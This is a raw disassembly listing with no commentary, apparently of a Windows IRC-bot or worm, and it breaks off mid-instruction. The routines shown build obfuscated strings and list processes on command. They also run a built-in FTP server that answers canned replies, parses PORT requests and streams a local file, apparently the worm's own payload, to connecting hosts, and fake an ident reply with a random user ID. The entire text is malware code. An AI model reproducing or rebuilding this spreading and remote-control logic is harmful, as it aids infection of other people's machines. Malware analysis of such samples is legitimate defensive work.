sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 3 push 16h push 13h push 14h push 13h push 9 push 0Ch push 4Fh push 0Ch push 12h push 14h push 3 lea ecx, [esp+3Ch] push 10h push ecx call sub_4019C4 add esp, 3Ch mov dword ptr [esp+40h], 2 push esi mov ecx, eax call sub_4017EE lea edx, [esi+8Eh] push eax push edx mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 3 push 16h push 13h push 0Ch push 0Ch push 9 push 0Bh push 4Fh push 0Ch push 12h push 14h push 3 lea eax, [esp+3Ch] push 10h push eax call sub_4019C4 add esp, 3Ch push esi mov ecx, eax mov dword ptr [esp+44h], 3 call sub_4017EE lea ecx, [esi+0BCh] push eax push ecx mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 4 push 9 push 10h push 0Ch push 0Ch push 9 push 0Bh push 4Fh push 0Ch push 12h push 14h push 3 lea edx, [esp+54h] push 10h push edx call sub_4019C4 add esp, 3Ch push esi mov ecx, eax mov dword ptr [esp+44h], 4 call sub_4017EE add esi, 60h push eax push esi mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+20h] mov [esp+40h], edi call sub_401226 mov ecx, [esp+38h] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41E760 proc near ; CODE XREF: sub_40161Dj var_50 = dword ptr -50h var_4C = byte ptr -4Ch var_48 = byte ptr -48h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_41E760 push eax mov large fs:0, esp sub esp, 44h push ebx push ebp push esi mov esi, [esp+5Ch+arg_0] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+4] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_41E8FA lea eax, [esp+60h+arg_0] lea ecx, [esp+60h+var_48] push eax call sub_4018E8 ; --------------------------------------------------------------------------- lea ecx, [esp+60h+var_48] mov [esp+60h+var_4], 0 push ecx call sub_4011D6 add esp, 4 test al, al jz loc_41E8E2 push 0 push 7Bh push 25h push 9 push 25h push 25h push 9 push 5 push 1Dh push 23h push 1Fh lea edx, [esp+8Ch+var_3C] push 79h push edx call sub_4019C4 add esp, 34h mov edi, eax lea ebx, [esi+69h] mov byte ptr [esp+60h+var_4], 1 mov ecx, ebx call sub_4014DD push eax mov ecx, edi call sub_40168B mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx mov ecx, offset byte_4D8085 call sub_401118 lea ecx, [esp+60h+var_3C] mov byte ptr [esp+60h+var_4], 0 call sub_401226 lea ecx, [esp+60h+var_50] call sub_40170D lea edx, [esp+60h+var_4C] lea ecx, [esp+60h+var_48] push edx xor edi, edi call sub_4014E2 mov eax, [eax] lea ecx, [esp+60h+var_4C] push ecx lea ecx, [esp+64h+var_48] mov [esp+64h+var_50], eax call sub_40197E push eax lea ecx, [esp+64h+var_50] call sub_401811 test al, al jz short loc_41E8E2 mov ebp, dword_5118D8 loc_41E86E: ; CODE XREF: sub_41E760+180j lea ecx, [esp+60h+var_50] inc edi call sub_40122B mov ecx, eax call sub_4017EE push eax lea ecx, [esp+64h+var_50] call sub_40122B mov edx, [eax+15h] mov ecx, ebx push edx push edi push offset aD_PidDS ; "%d. - Pid: %d - \"%s\"" call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D8085 call sub_401857 add esp, 20h push 5DCh call ebp lea ecx, [esp+60h+var_50] call sub_40107D lea edx, [esp+60h+var_4C] lea ecx, [esp+60h+var_48] push edx call sub_40197E push eax lea ecx, [esp+64h+var_50] call sub_401811 test al, al jnz short loc_41E86E loc_41E8E2: ; CODE XREF: sub_41E760+62j ; sub_41E760+106j lea ecx, [esp+60h+var_48] mov [esp+60h+var_4], 0FFFFFFFFh call sub_401825 ; --------------------------------------------------------------------------- mov al, 1 jmp loc_41ED17 ; --------------------------------------------------------------------------- loc_41E8FA: ; CODE XREF: sub_41E760+37j lea ecx, [edi+32h] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_41E9EE push offset asc_444600 ; " " lea eax, [esp+64h+var_3C] push 1 push eax mov ecx, esi call sub_4016B8 push offset byte_448F40 mov ecx, eax mov [esp+64h+var_4], 2 call sub_4012EE test eax, eax setz bl or edi, 0FFFFFFFFh lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 test bl, bl jnz loc_41ED15 push offset asc_444600 ; " " lea ecx, [esp+64h+var_3C] push 1 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+60h+var_4], 3 call sub_4017EE push eax call sub_401604 ; --------------------------------------------------------------------------- add esp, 4 lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 push offset asc_444600 ; " " lea edx, [esp+64h+var_3C] push 1 push edx mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+60h+var_4], 4 call sub_4014DD push eax push offset dword_44500C lea ecx, [esi+69h] call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D8085 call sub_401857 add esp, 18h lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 mov al, 1 jmp loc_41ED17 ; --------------------------------------------------------------------------- loc_41E9EE: ; CODE XREF: sub_41E760+1ACj lea ecx, [edi+8Eh] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_41EB55 lea edx, [esp+60h+arg_0] lea ecx, [esp+60h+var_48] push edx call sub_4016EA ; --------------------------------------------------------------------------- lea eax, [esp+60h+var_48] mov ebx, 5 push eax mov [esp+64h+var_4], ebx call sub_402162 add esp, 4 test al, al jz loc_41EB3D push 0 push 3Eh push 13h push ebx push 3 push 9 push 16h push 12h push ebx push 13h lea ecx, [esp+88h+var_3C] push 3Dh push ecx call sub_4019C4 add esp, 30h mov edi, eax lea ebp, [esi+69h] mov byte ptr [esp+60h+var_4], 6 mov ecx, ebp call sub_4014DD push eax mov ecx, edi call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_4D8085 call sub_401118 lea ecx, [esp+60h+var_3C] mov byte ptr [esp+60h+var_4], bl call sub_401226 lea ecx, [esp+60h+var_50] call sub_401B54 lea ecx, [esp+60h+var_4C] xor edi, edi push ecx lea ecx, [esp+64h+var_48] call sub_401465 mov edx, [eax] lea eax, [esp+60h+var_4C] push eax lea ecx, [esp+64h+var_48] mov [esp+64h+var_50], edx call sub_4013F7 push eax lea ecx, [esp+64h+var_50] call sub_4012BC test al, al jz short loc_41EB3D mov ebx, dword_5118D8 loc_41EAD6: ; CODE XREF: sub_41E760+3DBj lea ecx, [esp+60h+var_50] inc edi call sub_401055 mov ecx, eax call sub_4017EE push eax push edi push offset dword_445000 mov ecx, ebp call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D8085 call sub_401857 add esp, 1Ch push 5DCh call ebx lea ecx, [esp+60h+var_50] call sub_401839 lea eax, [esp+60h+var_4C] lea ecx, [esp+60h+var_48] push eax call sub_4013F7 push eax lea ecx, [esp+64h+var_50] call sub_4012BC test al, al jnz short loc_41EAD6 loc_41EB3D: ; CODE XREF: sub_41E760+2CFj ; sub_41E760+36Ej lea ecx, [esp+60h+var_48] mov [esp+60h+var_4], 0FFFFFFFFh call sub_401253 ; --------------------------------------------------------------------------- mov al, 1 jmp loc_41ED17 ; --------------------------------------------------------------------------- loc_41EB55: ; CODE XREF: sub_41E760+2A3j lea ecx, [edi+0BCh] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_41EC4C push offset asc_444600 ; " " lea ecx, [esp+64h+var_3C] push 1 push ecx mov ecx, esi call sub_4016B8 push offset byte_448F40 mov ecx, eax mov [esp+64h+var_4], 7 call sub_4012EE test eax, eax setz bl or edi, 0FFFFFFFFh lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 test bl, bl jnz loc_41ED15 push offset asc_444600 ; " " lea edx, [esp+64h+var_3C] push 1 push edx mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+60h+var_4], 8 call sub_4017EE push eax call sub_401A0A add esp, 4 lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 push offset asc_444600 ; " " lea eax, [esp+64h+var_3C] push 1 push eax mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+60h+var_4], 9 call sub_4014DD push eax push offset dword_444FF8 lea ecx, [esi+69h] call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D8085 call sub_401857 add esp, 18h lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 mov al, 1 jmp loc_41ED17 ; --------------------------------------------------------------------------- loc_41EC4C: ; CODE XREF: sub_41E760+40Aj lea ecx, [edi+60h] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_41ED15 push offset asc_444600 ; " " lea eax, [esp+64h+var_3C] push 1 push eax mov ecx, esi call sub_4016B8 push offset byte_448F40 mov ecx, eax mov [esp+64h+var_4], 0Ah call sub_4012EE test eax, eax setz bl or edi, 0FFFFFFFFh lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 test bl, bl jnz short loc_41ED15 push offset asc_444600 ; " " lea ecx, [esp+64h+var_24] push 1 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+60h+var_4], 0Bh call sub_4017EE push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+60h+var_24] mov ebx, eax mov [esp+60h+var_4], edi call sub_401226 test ebx, ebx jz short loc_41ED15 push ebx push offset dword_444FEC lea ecx, [esi+69h] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D8085 call sub_401857 push ebx call sub_4018B6 add esp, 1Ch jmp short loc_41ED17 ; --------------------------------------------------------------------------- loc_41ED15: ; CODE XREF: sub_41E760+1F0j ; sub_41E760+44Ej ... xor al, al loc_41ED17: ; CODE XREF: sub_41E760+195j ; sub_41E760+289j ... mov ecx, [esp+60h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 50h retn 4 sub_41E760 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 180h dup(0CCh) ; --------------------------------------------------------------------------- loc_41EEB0: ; CODE XREF: ___:loc_402004j push ebp mov ebp, esp push 0FFFFFFFFh push (offset asc_43C4EA+26h) mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push ebx push esi push edi mov edi, dword_5118D8 mov [ebp-10h], esp mov esi, ecx mov dword ptr [ebp-4], 0 loc_41EEE0: ; CODE XREF: ___:0041EEF1j mov al, [esi+0ABh] test al, al jnz short loc_41EEF3 push 3E8h call edi jmp short loc_41EEE0 ; --------------------------------------------------------------------------- loc_41EEF3: ; CODE XREF: ___:0041EEE8j mov al, [esi+0ACh] lea ecx, [esi+15h] push eax push ecx mov ecx, offset byte_449287 call sub_401A41 lea edx, [ebp-14h] mov ecx, offset byte_4E8EAB push edx mov [ebp-14h], esi call sub_40120D ; --------------------------------------------------------------------------- loc_41EF19: ; DATA XREF: ___:loc_41EF2Co mov ecx, [ebp-0Ch] pop edi pop esi xor eax, eax mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- loc_41EF2C: ; DATA XREF: ___:00442554o mov eax, offset loc_41EF19 retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41EF70 proc near ; CODE XREF: sub_401DFCj arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov eax, [esp+arg_0] push esi mov esi, ecx mov [esi+11h], eax mov cl, [eax+94h] mov [esi+0A9h], cl mov dl, [eax+93h] mov [esi+0A8h], dl mov cl, [eax+95h] add eax, 15h mov [esi+0AAh], cl push eax lea ecx, [esi+2Ah] call sub_401FDC mov edx, [esi+11h] lea ecx, [esi+69h] add edx, 54h push edx call sub_401FDC mov eax, [esi+11h] lea ecx, [esi+54h] add eax, 3Fh push eax call sub_401FDC mov ecx, [esi+11h] add ecx, 2Ah push ecx lea ecx, [esi+3Fh] call sub_401FDC mov edx, [esi+11h] lea ecx, [esi+15h] push edx call sub_401FDC mov al, [esp+4+arg_4] mov byte ptr [esi+0ABh], 1 mov [esi+0ACh], al pop esi retn 8 sub_41EF70 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41F030 proc near ; CODE XREF: sub_4020C7j var_DC = dword ptr -0DCh var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = dword ptr -0A0h var_9C = dword ptr -9Ch var_94 = byte ptr -94h var_88 = dword ptr -88h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_68 = dword ptr -68h var_64 = byte ptr -64h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = byte ptr -54h var_44 = byte ptr -44h var_34 = dword ptr -34h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_C = byte ptr -0Ch var_8 = dword ptr -8 arg_0 = byte ptr 4 arg_8 = byte ptr 0Ch arg_14 = dword ptr 18h arg_18 = byte ptr 1Ch arg_20 = byte ptr 24h arg_38 = byte ptr 3Ch arg_50 = byte ptr 54h arg_68 = byte ptr 6Ch arg_80 = byte ptr 84h arg_88 = byte ptr 8Ch arg_A8 = byte ptr 0ACh arg_E4 = byte ptr 0E8h arg_F0 = byte ptr 0F4h arg_118 = byte ptr 11Ch arg_128 = byte ptr 12Ch arg_138 = byte ptr 13Ch arg_148 = byte ptr 14Ch arg_158 = byte ptr 15Ch arg_908 = byte ptr 90Ch arg_18C8 = dword ptr 18CCh arg_18D8 = dword ptr 18DCh arg_1930 = byte ptr 1934h arg_1970 = dword ptr 1974h mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_41F030 push eax mov eax, 19B4h mov large fs:0, esp call sub_437B30 push esi push edi mov edi, ecx xor eax, eax mov [esp+14h+var_8], edi mov [esp+14h+arg_14], 10h lea esi, [edi+19h] mov ecx, esi mov [ecx], eax mov [ecx+4], eax mov [ecx+8], eax mov [ecx+0Ch], eax mov word ptr [esi], 2 mov [edi+1Dh], eax mov dx, word ptr dword_44965F push edx nop call near ptr 71AB2B66h push 6 push 1 push 2 mov [edi+1Bh], ax nop call near ptr 71AB3B91h cmp eax, 0FFFFFFFFh mov [edi+15h], eax jnz short loc_41F0B7 lea eax, [esp+24h+var_18] mov ecx, offset byte_4E8EAB push eax mov [esp+28h+var_18], edi call sub_40120D ; --------------------------------------------------------------------------- jmp loc_41F75A ; --------------------------------------------------------------------------- loc_41F0B7: ; CODE XREF: sub_41F030+6Dj push 10h push esi push eax nop call near ptr 71AB3E00h test eax, eax jz short loc_41F0E7 mov ecx, [edi+15h] push ecx call near ptr 71AB9639h nop lea edx, [esp+34h+var_28] mov ecx, offset byte_4E8EAB push edx mov [esp+38h+var_28], edi call sub_40120D ; --------------------------------------------------------------------------- jmp loc_41F75A ; --------------------------------------------------------------------------- loc_41F0E7: ; CODE XREF: sub_41F030+93j mov al, byte_4E8E54 test al, al jz loc_41F750 push ebx mov ebx, dword_511B14 push ebp mov ebp, dword_511CA0 loc_41F102: ; CODE XREF: sub_41F030+718j mov eax, [edi+15h] push 0Ah push eax nop call near ptr 71AB88D3h cmp eax, 0FFFFFFFFh jnz short loc_41F11D push 0FAh jmp loc_41F73B ; --------------------------------------------------------------------------- loc_41F11D: ; CODE XREF: sub_41F030+E1j mov eax, [edi+15h] lea ecx, [esp+40h+var_C] lea edx, [esp+40h+arg_F0] push ecx push edx push eax nop call near ptr 71AC1028h mov esi, eax cmp esi, 0FFFFFFFFh jz loc_41F736 xor ecx, ecx lea edx, [esp+4Ch+var_14] mov [esp+4Ch+var_2C], ecx lea eax, [esp+4Ch+var_2C] mov [esp+4Ch+var_28], ecx push edx mov [esp+50h+var_24], ecx push eax push esi mov [esp+58h+var_14], 10h mov [esp+58h+var_20], ecx nop call near ptr 71AC0B50h mov eax, [esp+58h+var_34] test al, al jz loc_41F741 mov cl, byte_449DC8 test cl, cl jz short loc_41F1CF mov edx, [esp+58h+var_34+3] mov ecx, dword_44965F and edx, 0FFh push ecx mov ecx, [esp+5Ch+var_34+2] push edx mov edx, [esp+60h+var_34+1] and ecx, 0FFh and edx, 0FFh push ecx and eax, 0FFh push edx push eax push offset aFtpD_D_D_DOnD ; "ftp: %d.%d.%d.%d on %d" mov ecx, offset dword_449968 call sub_4014DD push eax push 0 push 0 push offset byte_4D8085 call sub_401857 add esp, 28h loc_41F1CF: ; CODE XREF: sub_41F030+14Ej lea ecx, [esp+58h+arg_0] call sub_40142E push 1000h push 1000h lea ecx, [esp+60h+arg_0] mov [esp+60h+arg_1970], 0 call sub_401C71 push eax call sub_4015F5 add esp, 8 lea eax, [esp+58h+arg_0] lea ecx, [esp+58h+arg_18] push eax call sub_4014D3 lea ecx, [esp+58h+arg_0] mov byte ptr [esp+58h+arg_1970], 1 push ecx lea ecx, [esp+5Ch+arg_18] call sub_401FDC mov edi, offset a220 ; "220 \r\n" or ecx, 0FFFFFFFFh xor eax, eax push 0 repne scasb not ecx dec ecx push ecx push offset a220 ; "220 \r\n" push esi call ebp ; send push 0 lea edx, [esp+6Ch+arg_158] push 800h push edx push esi call sub_401280 mov edi, offset a331 ; "331 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb not ecx dec ecx push 0 push ecx push offset a331 ; "331 \r\n" push esi call ebp ; send push 0 lea eax, [esp+7Ch+arg_148] push 800h push eax push esi call sub_401280 mov edi, offset a230 ; "230 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb not ecx dec ecx push 0 push ecx push offset a230 ; "230 \r\n" push esi call ebp ; send push 0 lea ecx, [esp+8Ch+arg_138] push 800h push ecx push esi call sub_401280 mov edi, offset a200 ; "200 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb push 0 not ecx dec ecx push ecx push offset a200 ; "200 \r\n" push esi call ebp ; send push 0 lea edx, [esp+9Ch+arg_128] push 800h push edx push esi call sub_401280 add esp, 10h lea eax, [esp+98h+arg_128] lea ecx, [esp+98h+var_C] push eax call sub_401870 push offset asc_444600 ; " " lea ecx, [esp+9Ch+var_54] push 1 push ecx lea ecx, [esp+0A4h+var_C] mov [esp+0A4h+arg_1930], 2 call sub_4016B8 push offset asc_445088 ; "," lea edx, [esp+9Ch+arg_38] push 0 push edx lea ecx, [esp+0A4h+var_54] mov [esp+0A4h+arg_1930], 3 call sub_4016B8 mov ecx, eax mov [esp+98h+arg_1930], 4 call sub_4017EE push eax call ebx ; atoi add esp, 4 lea ecx, [esp+98h+arg_38] mov edi, eax mov [esp+98h+arg_1930], 3 call sub_401226 push offset asc_445088 ; "," lea eax, [esp+9Ch+arg_80] push 1 push eax lea ecx, [esp+0A4h+var_54] call sub_4016B8 mov ecx, eax mov [esp+98h+arg_1930], 5 call sub_4017EE push eax call ebx ; atoi add esp, 4 lea ecx, [esp+98h+arg_80] mov [esp+98h+var_7C], eax mov [esp+98h+arg_1930], 3 call sub_401226 push offset asc_445088 ; "," lea ecx, [esp+9Ch+arg_8] push 2 push ecx lea ecx, [esp+0A4h+var_54] call sub_4016B8 mov ecx, eax mov [esp+98h+arg_1930], 6 call sub_4017EE push eax call ebx ; atoi add esp, 4 lea ecx, [esp+98h+arg_8] mov [esp+98h+var_5C], eax mov [esp+98h+arg_1930], 3 call sub_401226 push offset asc_445088 ; "," lea edx, [esp+9Ch+arg_68] push 3 push edx lea ecx, [esp+0A4h+var_54] call sub_4016B8 mov ecx, eax mov [esp+98h+arg_1930], 7 call sub_4017EE push eax call ebx ; atoi add esp, 4 lea ecx, [esp+98h+arg_68] mov [esp+98h+var_58], eax mov [esp+98h+arg_1930], 3 call sub_401226 push offset asc_445088 ; "," lea eax, [esp+9Ch+arg_20] push 4 push eax lea ecx, [esp+0A4h+var_54] call sub_4016B8 mov ecx, eax mov [esp+98h+arg_1930], 8 call sub_4017EE push eax call ebx ; atoi add esp, 4 lea ecx, [esp+98h+arg_20] mov [esp+98h+var_88], eax mov [esp+98h+arg_1930], 3 call sub_401226 push offset asc_445088 ; "," lea ecx, [esp+9Ch+arg_50] push 5 push ecx lea ecx, [esp+0A4h+var_54] call sub_4016B8 mov ecx, eax mov [esp+98h+arg_1930], 9 call sub_4017EE push eax call ebx ; atoi add esp, 4 lea ecx, [esp+98h+arg_50] mov [esp+98h+var_80], eax mov [esp+98h+arg_1930], 3 call sub_401226 mov dl, byte ptr [esp+98h+var_88] mov al, byte ptr [esp+98h+var_80] mov ecx, [esp+98h+var_58] mov byte ptr [esp+98h+var_68+1], dl mov edx, [esp+98h+var_5C] mov byte ptr [esp+98h+var_68], al mov eax, [esp+98h+var_68] push ecx and eax, 0FFFFh push edx mov [esp+0A0h+var_88], eax mov eax, [esp+0A0h+var_7C] push eax push edi lea ecx, [esp+0A8h+arg_A8] push offset aD_D_D_D ; "%d.%d.%d.%d" push ecx nop call sub_5F74D1 mov edi, offset a200 ; "200 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 18h repne scasb not ecx dec ecx push 0 push ecx push offset a200 ; "200 \r\n" push esi call ebp ; send push 0 lea edx, [esp+0ACh+arg_118] push 800h push edx push esi call sub_401280 mov edi, offset a150 ; "150 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb not ecx dec ecx push 0 push ecx push offset a150 ; "150 \r\n" push esi call ebp ; send mov eax, [esp+0B8h+var_A8] lea ecx, [esp+0B8h+arg_88] push eax push ecx call sub_401AA0 add esp, 8 lea ecx, [esp+0B8h+var_44] mov [esp+0B8h+var_A8], eax push offset aRb ; "rb" call sub_4017EE push eax nop call near ptr 77C3F010h mov edi, eax add esp, 8 test edi, edi mov [esp+0B8h+var_A0], edi jz loc_41F695 cmp [esp+0B8h+var_A8], 0FFFFFFFFh jz loc_41F695 push 2 push 0 push edi nop call near ptr 77C4139Ch push edi nop call near ptr 77C41574h push 0 push 0 push edi mov [esp+0D4h+var_9C], eax nop call near ptr 77C4139Ch add esp, 1Ch loc_41F5C0: ; CODE XREF: sub_41F030+5E1j mov edx, [esp+0B8h+var_A0] mov ecx, 400h xor eax, eax lea edi, [esp+0B8h+arg_908] rep stosd push edx push 1000h lea eax, [esp+0C0h+arg_908] push 1 push eax nop call near ptr 77C411FBh mov ecx, [esp+0C8h+var_A0] mov edi, eax add esp, 10h test byte ptr [ecx+0Ch], 20h jnz short loc_41F613 mov eax, [esp+0B8h+var_A8] push 0 lea edx, [esp+0BCh+arg_908] push edi push edx push eax call ebp ; send cmp edi, 1000h jz short loc_41F5C0 loc_41F613: ; CODE XREF: sub_41F030+5C7j mov eax, [esp+0C8h+var_B4] mov edx, [eax+11h] inc edx mov [eax+11h], edx mov cl, byte_449DC8 test cl, cl mov eax, edx jz short loc_41F67C mov edx, [esp+0C8h+var_A4+3] mov ecx, [esp+0C8h+var_AC] push eax mov eax, [esp+0CCh+var_A4+2] and edx, 0FFh push ecx mov ecx, [esp+0D0h+var_A4+1] push edx mov edx, [esp+0D4h+var_A4] and eax, 0FFh and ecx, 0FFh push eax and edx, 0FFh push ecx push edx push offset aFtpD_D_D_DDByt ; "ftp: %d.%d.%d.%d -> (%d bytes) (total s"... mov ecx, offset dword_449968 call sub_4014DD push eax push 0 push 0 push offset byte_4D8085 call sub_401857 add esp, 2Ch loc_41F67C: ; CODE XREF: sub_41F030+5F8j mov eax, [esp+0C8h+var_B0] push eax nop call near ptr 77C40AB1h mov ecx, [esp+0CCh+var_B8] add esp, 4 push ecx call near ptr 71AB9639h nop loc_41F695: ; CODE XREF: sub_41F030+55Bj ; sub_41F030+566j mov edi, offset a226 ; "226 \r\n" or ecx, 0FFFFFFFFh xor eax, eax push 0 repne scasb not ecx dec ecx push ecx push offset a226 ; "226 \r\n" push esi call ebp ; send push 0 lea edx, [esp+0E0h+arg_E4] push 800h push edx push esi call sub_401280 mov edi, offset a221 ; "221 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb not ecx dec ecx push 0 push ecx push offset a221 ; "221 \r\n" push esi call ebp ; send push esi nop call near ptr 71AB9639h lea ecx, [esp+0F0h+var_AC] mov byte ptr [esp+0F0h+arg_18D8], 2 call sub_401226 lea ecx, [esp+0F0h+var_64] mov byte ptr [esp+0F0h+arg_18D8], 1 call sub_401226 lea ecx, [esp+0F0h+var_7C] mov byte ptr [esp+0F0h+arg_18D8], 0 call sub_401226 lea ecx, [esp+0F0h+var_94] mov [esp+0F0h+arg_18D8], 0FFFFFFFFh call sub_401226 mov edi, [esp+0F0h+var_DC] loc_41F736: ; CODE XREF: sub_41F030+109j push 9C4h loc_41F73B: ; CODE XREF: sub_41F030+E8j nop call near ptr 283030Ah loc_41F741: ; CODE XREF: sub_41F030+140j mov al, byte_4E8E54 test al, al jnz loc_41F102 pop ebp pop ebx loc_41F750: ; CODE XREF: sub_41F030+BEj mov eax, [edi+15h] push eax nop call near ptr 71AB9639h loc_41F75A: ; CODE XREF: sub_41F030+82j ; sub_41F030+B2j mov ecx, [esp+0F0h+arg_18C8] pop edi xor eax, eax pop esi mov large fs:0, ecx add esp, 19C0h retn sub_41F030 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 1E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41F960 proc near ; CODE XREF: sub_401230j var_90 = dword ptr -90h var_8C = byte ptr -8Ch var_7C = byte ptr -7Ch var_78 = byte ptr -78h var_60 = byte ptr -60h var_48 = byte ptr -48h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41F960 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 84h push ebx push ebp push esi push 71h call sub_40198D add esp, 4 cmp eax, 0FFFFFFFFh mov [esp+9Ch+var_90], eax jnz short loc_41F99D mov byte_4E8EA9, 0 jmp loc_41FB01 ; --------------------------------------------------------------------------- loc_41F99D: ; CODE XREF: sub_41F960+2Fj mov cl, byte_44928B xor ebx, ebx cmp cl, bl mov byte_4E8EA9, 1 jnz loc_41FAF4 lea ecx, [esp+9Ch+var_8C] push ecx push eax call sub_402009 mov ebp, eax add esp, 8 cmp ebp, 0FFFFFFFFh jz loc_41FAE7 push edi lea ecx, [esp+0A0h+var_7C] call sub_40142E mov [esp+0A0h+var_4], ebx call sub_401F0A mov esi, dword_511AC8 call esi ; rand cdq mov ecx, 3 push offset byte_448F40 idiv ecx lea ecx, [esp+0A0h+var_78] mov edi, edx add edi, 0Ah call sub_4015E1 cmp edi, ebx jle short loc_41FA66 loc_41FA0A: ; CODE XREF: sub_41F960+104j lea ecx, [esp+9Ch+var_60] call sub_40142E lea edx, [esp+9Ch+var_78] lea ecx, [esp+9Ch+var_60] push edx mov byte ptr [esp+0A0h], 1 call sub_401FDC call esi ; rand cdq mov ecx, 1Ah idiv ecx lea ecx, [esp+9Ch+var_60] add edx, 61h push edx call sub_4017EE push eax lea edx, [esp+0A4h+var_78] push offset dword_444E64 push edx call sub_40102D add esp, 10h lea ecx, [esp+9Ch+var_60] mov [esp+9Ch], bl call sub_401226 dec edi jnz short loc_41FA0A loc_41FA66: ; CODE XREF: sub_41F960+A8j push 0Ah lea ecx, [esp+0A0h+var_78] call sub_401479 mov [eax], bl mov ecx, 10h xor eax, eax lea edi, [esp+9Ch+var_48] rep stosd lea ecx, [esp+9Ch+var_78] call sub_4017EE push eax push 71h call esi ; rand cdq mov ecx, 1770h idiv ecx inc edx push edx lea edx, [esp+0A8h+var_48] push offset aDDUseridUnixS ; "%d, %d : USERID : UNIX : %s\r\n" push edx nop call sub_5F74D1 add esp, 14h lea eax, [esp+9Ch+var_48] push ebx push 40h push eax push ebp nop call near ptr 71AB428Ah mov esi, dword_511C9C push ebp call esi ; closesocket lea ecx, [esp+0A0h+var_7C] mov [esp+0A0h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+0A0h+var_90] push ecx call esi ; closesocket mov byte_4E8EA9, bl pop edi jmp short loc_41FAFE ; --------------------------------------------------------------------------- loc_41FAE7: ; CODE XREF: sub_41F960+67j push 7D0h nop call near ptr 283030Ah jmp short loc_41FB01 ; --------------------------------------------------------------------------- loc_41FAF4: ; CODE XREF: sub_41F960+4Ej mov ebp, [esp+9Ch+var_90] mov esi, dword_511C9C loc_41FAFE: ; CODE XREF: sub_41F960+185j push ebp call esi ; closesocket loc_41FB01: ; CODE XREF: sub_41F960+38j ; sub_41F960+192j mov ecx, [esp+9Ch+var_C] pop esi pop ebp xor eax, eax pop ebx mov large fs:0, ecx add esp, 90h retn sub_41F960 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FB90 proc near ; CODE XREF: sub_401AD2j arg_0 = dword ptr 4 mov eax, 